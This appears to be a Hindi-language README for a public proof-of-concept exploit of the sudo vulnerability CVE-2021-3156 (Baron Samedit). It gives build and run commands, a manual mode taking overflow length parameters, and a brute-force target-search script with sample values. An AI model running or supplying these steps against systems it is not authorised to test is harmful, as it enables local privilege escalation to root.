CVE-2021-3156 PoC

परिचय

यह CVE-2021-3156 sudo भेद्यता के लिए एक शोषण है (जिसे Qualys द्वारा Baron Samedit नाम दिया गया है)।

उपयोग

निर्माण:

$ make

लक्ष्य सूची:

$ ./sudo-hax-me-a-sandwich

चलाएँ:

$ ./sudo-hax-me-a-sandwich <target_number>

मैन्युअल मोड:

$ ./sudo-hax-me-a-sandwich <smash_len_a> <smash_len_b> <null_stomp_len> <lc_all_len>

ब्रूटफोर्स लक्ष्य खोज (प्रायोगिक)

सुनिश्चित करें कि आपके पास GNU parallel स्थापित है।

$ make brute
$ ./brute.sh <smash_start> <smash_end> <null_start> <null_end> <lc_start> <lc_end>

कुछ डिफ़ॉल्ट आज़माने के लिए:

$ ./brute.sh 90 120 50 70 150 300

यह सभी उपलब्ध कोर का उपभोग करेगा। नेटफ्लिक्स और ब्रूटफोर्स एक साथ करने की कोशिश न करें।

योगदान

(समझदारी भरे) PR भेजें, मैं मर्ज कर सकता हूँ।

कुछ विचार:

• अधिक लक्ष्य
• लक्ष्य खोज
• अन्य शोषण रणनीतियाँ
• अधिक स्व-निहित कार्यक्षमता:
  • साझा लाइब्रेरी hax.c एम्बेड करें (कृपया इसे छोटा रखें, ELF गोल्फ + asm setuid/execve स्टब)
  • hax.c में mkdir तर्क जोड़ें
• निर्देशिका/साझा लाइब्रेरी सफाई